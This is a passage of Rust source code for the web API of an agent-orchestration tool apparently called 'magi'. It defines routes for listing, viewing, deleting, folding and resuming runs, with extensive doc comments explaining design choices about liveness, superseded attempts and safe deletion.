3489    #[serde(default)]
3490    limit: Option<usize>,
3491    /// Exact ids only; an empty value requests no rows (except queue blockers).
3492    ids: Option<String>,
3493}
3494
3495impl ListQuery {
3496    fn contains(&self, id: &str) -> bool {
3497        self.ids
3498            .as_ref()
3499            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3500    }
3501}
3502
3503async fn runs_list(
3504    State(ui): State<Arc<Ui>>,
3505    Query(q): Query<ListQuery>,
3506) -> ApiResult<Json<Vec<RunSummary>>> {
3507    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3508    blocking(move || {
3509        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3510        let states = run_ids(&ui.runs)
3511            .into_iter()
3512            // A run whose state cannot be read is skipped, not fatal: a run
3513            // killed mid-write must not blank the history of every other one.
3514            // The detail route still explains it, which is where an operator
3515            // asking "what happened to that run" ends up.
3516            .filter_map(|id| read_run(&ui.runs, &id).ok())
3517            .take(limit)
3518            .filter(|run| q.contains(&run.id));
3519        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3520        let summaries = summarize(
3521            states,
3522            &open_runs,
3523            &claimed,
3524            &superseded,
3525            |p| probe.borrow_mut().status(p),
3526            |p| probe.borrow_mut().started_at(p),
3527        );
3528        Ok(Json(summaries))
3529    })
3530    .await
3531}
3532
3533/// Everything the per-run rows share, read once: runs with an open question,
3534/// runs a live daemon claims, and the superseded map. Asking per run re-read
3535/// every question file and the daemon status file for each of hundreds of
3536/// runs, and spawned a process probe per run on Windows.
3537fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3538    let open_runs: HashSet<String> = ui
3539        .questions
3540        .list()
3541        .into_iter()
3542        .filter(|q| q.status.open())
3543        .map(|q| q.run)
3544        .collect();
3545    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3546        .into_iter()
3547        .map(|c| c.run)
3548        .collect();
3549    (open_runs, claimed, ui.queue.superseded())
3550}
3551
3552/// The rows of the run list, given everything that is shared between them.
3553///
3554/// Pure over its inputs so a test can count how often the process queries are
3555/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3556/// takes, called at most once per run.
3557fn summarize<I, S, D>(
3558    states: I,
3559    open_runs: &HashSet<String>,
3560    claimed: &HashSet<String>,
3561    superseded: &HashMap<String, String>,
3562    mut status_q: S,
3563    mut identity_q: D,
3564) -> Vec<RunSummary>
3565where
3566    I: IntoIterator<Item = RunState>,
3567    S: FnMut(u32) -> Option<bool>,
3568    D: FnMut(u32) -> Option<String>,
3569{
3570    states
3571        .into_iter()
3572        .map(|state| {
3573            let waiting = open_runs.contains(&state.id);
3574            let live =
3575                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3576            let mut row = RunSummary::of(&state, waiting, live);
3577            row.superseded_by = state
3578                .pr_taken_over_by
3579                .as_ref()
3580                .or_else(|| superseded.get(&state.id))
3581                .map(String::as_str)
3582                .map(crate::run::short_of)
3583                .map(str::to_owned);
3584            row.badge_status = run_badge_status(
3585                &state,
3586                &row.display_status,
3587                live,
3588                row.superseded_by.is_some(),
3589            );
3590            row
3591        })
3592        .collect()
3593}
3594
3595/// A run as the detail route hands it to the phone.
3596///
3597/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3598/// the instruction as markdown, and the raw `instruction` field this struct
3599/// still carries (unchanged) is what a client wanting the exact bytes reads
3600/// instead.
3601#[derive(Debug, Serialize)]
3602struct RunDetailView {
3603    stop_reason: Option<String>,
3604    #[serde(flatten)]
3605    state: RunState,
3606    instruction_md: Vec<md::Node>,
3607    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3608    /// mirror the records they come from, index for index; the raw strings
3609    /// stay in `state` and decide whether a block is shown at all.
3610    #[serde(flatten)]
3611    prose_md: RunProseMd,
3612    /// Whether a process is actually still driving this run: `"live"`,
3613    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3614    ///
3615    /// `state.active` (flattened in above) is only ever cleared by the
3616    /// process that populated it; a killed one leaves its last wave's
3617    /// entries behind. Carrying this alongside is what lets the phone rail
3618    /// tell "this seat is still answering" from "this seat was still
3619    /// answering when whatever was driving this run died" without a second
3620    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3621    /// proof of either. A string rather than a bool on purpose: a daemon
3622    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3623    /// and neither proven is `"unknown"` — folding that third case into
3624    /// either end of a bool is exactly the wrong call for a phone screen an
3625    /// operator uses to decide whether to wait or to act.
3626    live: crate::run::Liveness,
3627    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3628    /// alongside the flattened `state` rather than inside it, since
3629    /// `RunState` has no business knowing which of its own methods a caller
3630    /// wants serialized.
3631    unmerged_by_design: bool,
3632    /// Same field and meaning as [`RunSummary::waiting`].
3633    #[serde(default)]
3634    waiting: bool,
3635    /// Same derived presentation status as [`RunSummary::display_status`].
3636    #[serde(default)]
3637    display_status: String,
3638    /// Same field and meaning as [`RunSummary::badge_status`].
3639    #[serde(default)]
3640    badge_status: String,
3641    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3642    /// terminal. The client's `landView` keys on it, and the flattened state
3643    /// has no such field, so without it a finished run's stale `open` PR
3644    /// would be painted as live on the detail page.
3645    done: bool,
3646    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3647    /// route fills it from [`Queue::superseded`], the detail route from
3648    /// [`Queue::superseded_by`], and both read the same underlying task
3649    /// order. Without this the detail page could only ever show a red
3650    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3651    /// with nothing anywhere saying so — an operator opening it had no way
3652    /// to tell "this is done elsewhere" from "this still needs a retry".
3653    superseded_by: Option<String>,
3654    /// The task's current attempt, when this run is an older one — resolved
3655    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3656    /// the client to derive.
3657    ///
3658    /// Three things a client cannot safely do on its own drove this onto the
3659    /// server: it has to name the chain's *current head*, not just the next
3660    /// attempt (`superseded_by` above), because an intermediate retry in a
3661    /// longer chain can itself still be unresolved; it has to resolve to a
3662    /// real id rather than a short id a client would have to guess a full id
3663    /// from, which is ambiguous the moment two runs share a suffix; and it
3664    /// has to read that head's own status directly, because whether a run
3665    /// list a client happens to have cached even contains that attempt
3666    /// depends on a page limit this route knows nothing about.
3667    latest_attempt: Option<LatestAttempt>,
3668    /// The queue task this run belongs to, so the detail page can link back
3669    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3670    task: Option<TaskRef>,
3671    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3672    /// run recorded before origins existed. `origin` itself (flattened in
3673    /// with `state`) is `null` in that case.
3674    origin_label: String,
3675    /// Each recorded pass over this run, with the cause it stopped for. Empty
3676    /// for a run from before passes were kept: its earlier passes are unknown.
3677    pass_views: Vec<PassView>,
3678}
3679
3680/// A task named from a run's detail page.
3681#[derive(Debug, Serialize)]
3682struct TaskRef {
3683    id: String,
3684    short: String,
3685    title: String,
3686    /// [`Source::label`], e.g. `chat@a1b2`.
3687    source_label: String,
3688    /// Where the task came from, when that place has a page; see [`source_link`].
3689    source_link: Option<SourceLink>,
3690    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3691    status: &'static str,
3692    attempts: usize,
3693    max_attempts: usize,
3694    /// This run is the last entry of the task's run list.
3695    is_latest: bool,
3696    /// The task's newest run, when it is not this one.
3697    latest: Option<RunBrief>,
3698    /// The run that finished a `done` task (merged, or already in the base).
3699    finished_by: Option<RunBrief>,
3700    /// The task is `done` but no run on record finished it: closed by hand.
3701    closed_by_hand: bool,
3702}
3703
3704/// The page that filed a task, as the UI links to it.
3705#[derive(Debug, PartialEq, Eq, Serialize)]
3706struct SourceLink {
3707    /// `chat` (a conversation) or `run` (a run's node).
3708    kind: &'static str,
3709    /// The full id, never the short one in the label.
3710    id: String,
3711    /// The hash route that opens it.
3712    href: String,
3713}
3714
3715/// Percent-encode everything outside the URL-unreserved set.
3716fn encode_segment(raw: &str) -> String {
3717    let mut out = String::with_capacity(raw.len());
3718    for b in raw.bytes() {
3719        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3720            out.push(b as char);
3721        } else {
3722            out.push_str(&format!("%{b:02X}"));
3723        }
3724    }
3725    out
3726}
3727
3728/// The one place that decides where a task's source links to. A chat
3729/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3730/// a person or an imported issue has no page, so no link.
3731fn source_link(source: &Source) -> Option<SourceLink> {
3732    let Source::Agent { run, node } = source else {
3733        return None;
3734    };
3735    let (kind, route) = if node == crate::queue::CHAT_NODE {
3736        ("chat", "chat")
3737    } else {
3738        ("run", "runs")
3739    };
3740    Some(SourceLink {
3741        kind,
3742        id: run.clone(),
3743        href: id_links::page_href(route, run),
3744    })
3745}
3746
3747/// The parent task of a follow-up, when its file can still be read.
3748#[derive(Debug, Serialize, PartialEq)]
3749struct FollowUpParent {
3750    id: String,
3751    short: String,
3752    title: String,
3753    /// The parent's own status (`TaskStatus::as_str`).
3754    status: &'static str,
3755    href: String,
3756}
3757
3758/// The merged run a follow-up was filed from.
3759#[derive(Debug, Serialize, PartialEq)]
3760struct FollowUpRun {
3761    id: String,
3762    short: String,
3763    /// `None` when the run's record cannot be read.
3764    status: Option<&'static str>,
3765    /// `None` unless the record could be read: never a dead link.
3766    href: Option<String>,
3767}
3768
3769/// Where a follow-up task came from, resolved once per task page so the flow
3770/// chart and the detail block cannot disagree. See [`followup_origin`].
3771#[derive(Debug, Serialize, PartialEq)]
3772struct FollowUpOrigin {
3773    /// Present only when `origin_task` is set and that task still exists.
3774    parent: Option<FollowUpParent>,
3775    run: FollowUpRun,
3776    /// The merged pull request, verbatim. Not an href: the client passes it
3777    /// through `forgeUrl()` and renders text when that refuses it (the one
3778    /// exception to "the href rule is Rust's alone", since a forge URL is
3779    /// data from a record, not a route).
3780    pr: String,
3781    findings: Vec<String>,
3782    generation: u32,
3783}
3784
3785/// The one place that decides what a follow-up links to. A parent that cannot
3786/// be read (gone, or an id that names nothing) is `None`, never an error.
3787fn followup_origin(
3788    fu: &crate::queue::FollowUp,
3789    task: impl Fn(&str) -> Option<Task>,
3790    run: impl Fn(&str) -> Option<RunState>,
3791) -> FollowUpOrigin {
3792    let parent = fu
3793        .origin_task
3794        .as_deref()
3795        .and_then(task)
3796        .map(|t| FollowUpParent {
3797            short: t.short().to_owned(),
3798            href: format!("#/tasks/{}", encode_segment(&t.id)),
3799            status: t.status.as_str(),
3800            title: t.title,
3801            id: t.id,
3802        });
3803    let state = run(&fu.run);
3804    FollowUpOrigin {
3805        parent,
3806        run: FollowUpRun {
3807            short: run::short_of(&fu.run).to_owned(),
3808            status: state.as_ref().map(|s| s.status.as_str()),
3809            href: state
3810                .is_some()
3811                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3812            id: fu.run.clone(),
3813        },
3814        pr: fu.pr.clone(),
3815        findings: fu.findings.clone(),
3816        generation: fu.generation,
3817    }
3818}
3819
3820/// Another run of the same task, as named from a run's detail page.
3821#[derive(Debug, Serialize)]
3822struct RunBrief {
3823    id: String,
3824    short: String,
3825    /// `None` when the run's record cannot be read.
3826    status: Option<&'static str>,
3827    /// The task-page wording for how that pass ended.
3828    outcome: String,
3829    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
3830    badge: Option<String>,
3831}
3832
3833/// The task's overall outcome as seen from `this_run`'s page, classified with
3834/// the same exits the task page's flowchart uses.
3835fn task_outcome(
3836    task: &Task,
3837    this_run: &str,
3838    max_attempts: usize,
3839    read: impl Fn(&str) -> Option<RunState>,
3840) -> TaskRef {
3841    let max_attempts = task.effective_attempt_limit(max_attempts);
3842    let history = task_history(task, read);
3843    let brief = |h: &TaskRunView| RunBrief {
3844        id: h.id.clone(),
3845        short: h.short.clone(),
3846        status: h.status,
3847        outcome: h.exit.edge_label(h.status),
3848        badge: h.badge.clone(),
3849    };
3850    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3851    let latest = if is_latest {
3852        None
3853    } else {
3854        history.last().map(brief)
3855    };
3856    let done = task.status == TaskStatus::Done;
3857    let finished_by = done
3858        .then(|| {
3859            history
3860                .iter()
3861                .rev()
3862                .find(|h| {
3863                    matches!(
3864                        h.exit,
3865                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3866                    )
3867                })
3868                .map(brief)
3869        })
3870        .flatten();
3871    TaskRef {
3872        short: task.short().to_owned(),
3873        title: task.title.clone(),
3874        id: task.id.clone(),
3875        source_label: task.source.label(),
3876        source_link: source_link(&task.source),
3877        status: task.status.as_str(),
3878        attempts: task.attempts,
3879        max_attempts,
3880        is_latest,
3881        latest,
3882        closed_by_hand: done && finished_by.is_none(),
3883        finished_by,
3884    }
3885}
3886
3887/// The task's current attempt, as seen from an older one's detail page.
3888#[derive(Debug, Serialize)]
3889struct LatestAttempt {
3890    id: String,
3891    short: String,
3892    /// Whether this attempt itself settled with a result nobody needs to
3893    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3894    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3895    /// unconfirmed claim that no change was needed, which is exactly why it
3896    /// settles the task through `Held` rather than `Done` and still waits on
3897    /// a human to check the evidence; showing an older run as "finished
3898    /// elsewhere" on the strength of an unverified claim would bury the
3899    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3900    /// in-flight status are excluded because they are exactly the
3901    /// unresolved states this field exists to tell apart from a real finish.
3902    resolved: bool,
3903    /// The attempt's own recorded status, so the page can say where it
3904    /// stands while it is not resolved yet.
3905    status: RunStatus,
3906    /// Whether that status is terminal (nothing is still running it).
3907    done: bool,
3908}
3909
3910/// Markdown for the free-text prose of a run, parallel to `RunState`.
3911#[derive(Debug, Default, Serialize)]
3912struct RunProseMd {
3913    /// `None` when the run has no design deliberation.
3914    advice_md: Option<AdviceMd>,
3915    /// One entry per candidate: the summary.
3916    candidate_summaries_md: Vec<Vec<md::Node>>,
3917    /// One entry per review round, in `reviews` order.
3918    reviews_md: Vec<RoundMd>,
3919}
3920
3921#[derive(Debug, Default, Serialize)]
3922struct AdviceMd {
3923    synthesis: Vec<md::Node>,
3924    /// One per record; empty for a seat with no proposal.
3925    approaches: Vec<Vec<md::Node>>,
3926}
3927
3928#[derive(Debug, Default, Serialize)]
3929struct RoundMd {
3930    /// One per reviewer record.
3931    reviewers: Vec<ReviewerMd>,
3932    /// One per `reconsideration` entry: the reason.
3933    reconsideration: Vec<Vec<md::Node>>,
3934    fix: Option<FixMd>,
3935}
3936
3937#[derive(Debug, Default, Serialize)]
3938struct ReviewerMd {
3939    summary: Vec<md::Node>,
3940    /// One per finding, in recorded order (not the display order).
3941    findings: Vec<Vec<md::Node>>,
3942}
3943
3944#[derive(Debug, Default, Serialize)]
3945struct FixMd {
3946    notes: Vec<md::Node>,
3947    /// One per rejection: the argument.
3948    rejected: Vec<Vec<md::Node>>,
3949}
3950
3951/// Parse a run's agent-written prose; a pure function of the state.
3952fn run_prose_md(state: &RunState) -> RunProseMd {
3953    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3954    RunProseMd {
3955        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3956            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3957            approaches: a
3958                .records
3959                .iter()
3960                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3961                .collect(),
3962        }),
3963        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3964        reviews_md: state
3965            .reviews
3966            .iter()
3967            .map(|round| RoundMd {
3968                reviewers: round
3969                    .reviews
3970                    .iter()
3971                    .map(|rec| ReviewerMd {
3972                        summary: nodes(&rec.summary),
3973                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3974                    })
3975                    .collect(),
3976                reconsideration: round
3977                    .reconsideration
3978                    .iter()
3979                    .map(|rv| nodes(&rv.reason))
3980                    .collect(),
3981                fix: round.fix.as_ref().map(|fix| FixMd {
3982                    notes: nodes(&fix.notes),
3983                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3984                }),
3985            })
3986            .collect(),
3987    }
3988}
3989
3990impl RunDetailView {
3991    fn of(
3992        state: RunState,
3993        waiting: bool,
3994        live: crate::run::Liveness,
3995        superseded_by: Option<String>,
3996        latest_attempt: Option<LatestAttempt>,
3997        task: Option<TaskRef>,
3998    ) -> Self {
3999        let display_status = run_display_status(&state, waiting, live);
4000        let stop_reason = crate::stop_reason::of(
4001            &state,
4002            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4003        );
4004        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4005        Self {
4006            stop_reason,
4007            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4008            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4009            prose_md: run_prose_md(&state),
4010            origin_label: crate::run::origin_label(state.origin.as_ref()),
4011            live,
4012            unmerged_by_design: state.unmerged_by_design(),
4013            waiting,
4014            display_status,
4015            badge_status,
4016            done: state.status.done(),
4017            superseded_by,
4018            latest_attempt,
4019            task,
4020            state,
4021        }
4022    }
4023}
4024
4025/// Core content needs neither the queue nor question/liveness evidence.
4026async fn run_core(
4027    State(ui): State<Arc<Ui>>,
4028    Path(id): Path<String>,
4029) -> ApiResult<Json<RunDetailView>> {
4030    blocking(move || {
4031        let id = resolve_run(&ui.runs, &id)?;
4032        let state = read_run(&ui.runs, &id)?;
4033        Ok(Json(RunDetailView::of(
4034            state,
4035            false,
4036            crate::run::Liveness::Unknown,
4037            None,
4038            None,
4039            None,
4040        )))
4041    })
4042    .await
4043}
4044
4045async fn run_detail(
4046    State(ui): State<Arc<Ui>>,
4047    Path(id): Path<String>,
4048) -> ApiResult<Json<RunDetailView>> {
4049    blocking(move || {
4050        let id = resolve_run(&ui.runs, &id)?;
4051        let state = read_run(&ui.runs, &id)?;
4052        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4053        let live = state.liveness(daemon_claims);
4054        crate::queue::record_ids(ui.questions.root(), "json")?;
4055        let waiting = ui
4056            .questions
4057            .list()
4058            .iter()
4059            .any(|q| q.run == id && q.status.open());
4060        let max_attempts = daemon::Opts::default().max_attempts;
4061
4062        let matching_task = ui.find_task_for_run(&id)?;
4063
4064        let superseded_by = state
4065            .pr_taken_over_by
4066            .clone()
4067            .or_else(|| {
4068                matching_task
4069                    .as_ref()
4070                    .and_then(|t| t.successor_of(&id).cloned())
4071            })
4072            .as_deref()
4073            .map(crate::run::short_of)
4074            .map(str::to_owned);
4075
4076        // Best-effort: an unreadable head (mid-write, or deleted) just means
4077        // this run's own status stands on its own, same as no later attempt
4078        // existing at all.
4079        let latest_attempt = matching_task
4080            .as_ref()
4081            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4082            .and_then(|head_id| {
4083                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4084                    short: head.short().to_owned(),
4085                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4086                    status: head.status,
4087                    done: head.status.done(),
4088                    id: head.id,
4089                })
4090            });
4091
4092        let task = matching_task
4093            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4094
4095        Ok(Json(RunDetailView::of(
4096            state,
4097            waiting,
4098            live,
4099            superseded_by,
4100            latest_attempt,
4101            task,
4102        )))
4103    })
4104    .await
4105}
4106
4107/// `DELETE /api/runs/{id}`.
4108///
4109/// Remove a finished, folded run directory along with its artifacts.
4110/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4111/// deleted. This never touches git worktrees or branches - except for a run
4112/// whose state this build cannot read at all, where there is no candidate
4113/// list to check and the wholesale removal `magi fold` already uses for that
4114/// case is the only meaningful "delete".
4115async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4116    let (id, unreadable) = {
4117        let ui = Arc::clone(&ui);
4118        blocking(move || {
4119            let id = resolve_run(&ui.runs, &id)?;
4120            match read_run(&ui.runs, &id) {
4121                Ok(state) => {
4122                    let in_flight =
4123                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4124                    state
4125                        .ensure_can_delete(in_flight)
4126                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4127                    let dir = ui.runs.join(&id);
4128                    std::fs::remove_dir_all(&dir)
4129                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4130                    Ok((id, false))
4131                }
4132                Err(_) => {
4133                    // Unreadable: there is no candidate list to guard on, so
4134                    // a live daemon's claim is the only thing left to check -
4135                    // the same rule `run_fold` applies for the same reason.
4136                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4137                        return Err(ApiError::conflict(format!(
4138                            "run {id} is being worked on by a live daemon right now"
4139                        )));
4140                    }
4141                    Ok((id, true))
4142                }
4143            }
4144        })
4145        .await?
4146    };
4147    if unreadable {
4148        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4149            .await
4150            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4151    }
4152    let ui = Arc::clone(&ui);
4153    let done = id.clone();
4154    blocking(move || {
4155        // The agent that asked died with the run, so an open question would
4156        // keep asking the operator for a decision nobody can deliver.
4157        ui.questions.abandon_for_run(
4158            &done,
4159            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4160        )?;
4161        Ok(())
4162    })
4163    .await?;
4164    Ok(StatusCode::NO_CONTENT)
4165}
4166
4167/// `POST /api/runs/{id}/fold`.
4168///
4169/// Remove a run's candidate worktrees and branches, keeping its record.
4170///
4171/// This exists because the deck answered "delete this run" with *"Candidates
4172/// must be folded before deleting. Run `magi fold` first."* — a phone being
4173/// told to open a terminal, in the one product whose point is that it does
4174/// not need one. The runs an operator most wants gone are the stalled and
4175/// blocked ones, and those are exactly the runs still holding worktrees:
4176/// three of them here held 53 GB.
4177///
4178/// The winner's tree goes too. A fold is what someone asks for when they are
4179/// finished with a run, and leaving one tree behind would leave the delete
4180/// button disabled for the same reason as before.
4181///
4182/// Refused while a live daemon is working on the run, on the rule that guards
4183/// deletion: folding underneath a running agent would pull the tree it is
4184/// editing out from under it.
4185///
4186/// A run whose state this build cannot read at all falls back to
4187/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4188/// selectively, so the whole record's worktree goes wholesale, exactly what
4189/// `magi fold` does on the command line for the same run.
4190async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4191    let (id, state) = {
4192        let ui = Arc::clone(&ui);
4193        blocking(move || {
4194            let id = resolve_run(&ui.runs, &id)?;
4195            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4196                return Err(ApiError::conflict(format!(
4197                    "run {id} is being worked on by a live daemon right now"
4198                )));
4199            }
4200            let state = read_run(&ui.runs, &id).ok();
4201            Ok((id, state))
4202        })
4203        .await?
4204    };
4205    let removed = match state {
4206        Some(mut state) => {
4207            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4208                .await
4209                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4210            // Nothing left to remove is not the same thing as nothing left to
4211            // do — see `clean::clear_abandoned_active`'s own doc for the run
4212            // this exists for: worktrees already gone, but a killed process
4213            // left active seats nobody will ever answer for.
4214            if removed.is_empty() {
4215                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4216                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4217            }
4218            removed
4219        }
4220        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4221            .await
4222            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4223    };
4224    Ok(Json(FoldView {
4225        run: id,
4226        removed_count: removed.len(),
4227        removed,
4228    }))
4229}
4230
4231/// What a fold took away, so the deck can say so rather than only re-render.
4232#[derive(Debug, Serialize)]
4233struct FoldView {
4234    run: String,
4235    /// Worktree paths and branch names removed, in the order they went.
4236    removed: Vec<String>,
4237    removed_count: usize,
4238}
4239
4240/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4241/// merged outside of `land::land`'s own loop.
4242#[derive(Debug, Deserialize)]
4243struct FoldMergedBody {
4244    #[serde(default)]
4245    pr_url: String,
4246}
4247
4248/// `POST /api/runs/{id}/fold-merged`.
4249///
4250/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4251/// `Blocked` with `merge: null` because magi never got as far as opening a
4252/// pull request of its own (a title over GitHub's length limit, `gh pr
4253/// create` unreachable, a stale token), which the operator then finished by
4254/// hand on a pull request magi never recorded. The "Run actions" sheet used
4255/// to have no way to tell it about that pull request short of a terminal and
4256/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4257/// this exists and what it deliberately does not do (`bump::after_merge`).
4258///
4259/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4260/// correction rewrites the same `status`/`merge` fields a running graph would
4261/// be writing to on its own.
4262///
4263/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4264/// calls plus a fold, seconds of work, and the phone should get its answer
4265/// (which pull request it recorded, and what changed) in the same round
4266/// trip rather than learning it from the change stream.
4267async fn run_fold_merged(
4268    State(ui): State<Arc<Ui>>,
4269    Path(id): Path<String>,
4270    Json(body): Json<FoldMergedBody>,
4271) -> ApiResult<Json<FoldMergedView>> {
4272    let pr_url = body.pr_url.trim().to_owned();
4273    if pr_url.is_empty() {
4274        return Err(ApiError::bad_request("pr_url is required"));
4275    }
4276    let (id, mut state) = {
4277        let ui = Arc::clone(&ui);
4278        blocking(move || {
4279            let id = resolve_run(&ui.runs, &id)?;
4280            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4281                return Err(ApiError::conflict(format!(
4282                    "run {id} is being worked on by a live daemon right now"
4283                )));
4284            }
4285            let state = read_run(&ui.runs, &id)?;
4286            Ok((id, state))
4287        })
4288        .await?
4289    };
4290    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4291        .await
4292        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4293    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4294        .await
4295        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4296    Ok(Json(FoldMergedView {
4297        run: id,
4298        before: before.as_str().to_owned(),
4299        after: after.as_str().to_owned(),
4300        removed,
4301    }))
4302}
4303
4304/// What [`run_fold_merged`] did, so the deck can say so.
4305#[derive(Debug, Serialize)]
4306struct FoldMergedView {
4307    run: String,
4308    /// `status` before the correction — normally `"blocked"`.
4309    before: String,
4310    /// `status` after — normally `"merged"`.
4311    after: String,
4312    /// Worktree paths and branch names the trailing fold removed.
4313    removed: Vec<String>,
4314}
4315
4316/// `POST /api/runs/{id}/resume`.
4317///
4318/// Carry a stalled run on from where it stopped, in the background.
4319///
4320/// A stalled card says "the work is kept" and used to offer no way to act on
4321/// that: the candidates are built and paid for, and continuing means re-asking
4322/// only the seats whose absence collapsed the panel. The alternative an
4323/// operator actually had was releasing the task, which competes three fresh
4324/// implementations against work that already exists.
4325///
4326/// **202, not 200.** A resume runs agents for minutes; holding the connection
4327/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4328/// phone learns the outcome from the change stream.
4329///
4330/// Refused when the loop is running at all, not merely when it is on this run.
4331/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4332/// started a second graph on top of whatever the loop is already driving —
4333/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4334/// allows — would spend that quota twice over for no extra throughput.
4335async fn run_resume(
4336    State(ui): State<Arc<Ui>>,
4337    Path(id): Path<String>,
4338) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4339    let (id, state) = {
4340        let ui = Arc::clone(&ui);
4341        blocking(move || {
4342            let id = resolve_run(&ui.runs, &id)?;
4343            let state = read_run(&ui.runs, &id)?;
4344            Ok((id, state))
4345        })
4346        .await?
4347    };
4348    crate::resume::validate_unqueued(&ui.home, &id)
4349        .map_err(|e| ApiError::conflict(e.to_string()))?;
4350    let _resume = ui.begin_resume(&id)?;
4351
4352    // The same shape the list route returns, so the phone updates the card it
4353    // already has rather than learning a second schema for one button.
4354    let queued = RunSummary::of(
4355        &state,
4356        !ui.questions.open_for(&id).is_empty(),
4357        state.liveness(false),
4358    );
4359    let run = id.clone();
4360    tokio::spawn(async move {
4361        let _resume = _resume;
4362        crate::resume::execute(&run).await;
4363    });
4364    Ok((StatusCode::ACCEPTED, Json(queued)))
4365}
4366
4367async fn run_report(
4368    State(ui): State<Arc<Ui>>,
4369    Path(id): Path<String>,
4370) -> ApiResult<impl IntoResponse> {
4371    let text = blocking(move || {
4372        let id = resolve_run(&ui.runs, &id)?;
4373        // Colour is off for the whole process, set once in `serve`. Rendering
4374        // is CPU work over the full state, which is the other reason this is
4375        // not on the executor.
4376        let state = read_run(&ui.runs, &id)?;
4377        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4378        let live = state.liveness(daemon_claims);
4379        Ok(format!(
4380            "{}{}",
4381            report::run(&state),
4382            report::active_seats(&state, live)
4383        ))
4384    })
4385    .await?;
4386    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4387}
4388
4389/// The structured twin of [`run_report`]: the same state, as sections the UI
4390/// draws as cards. An unreadable run answers with the same error the text
4391/// route does; it is never turned into an empty report.
4392async fn run_report_json(
4393    State(ui): State<Arc<Ui>>,
4394    Path(id): Path<String>,
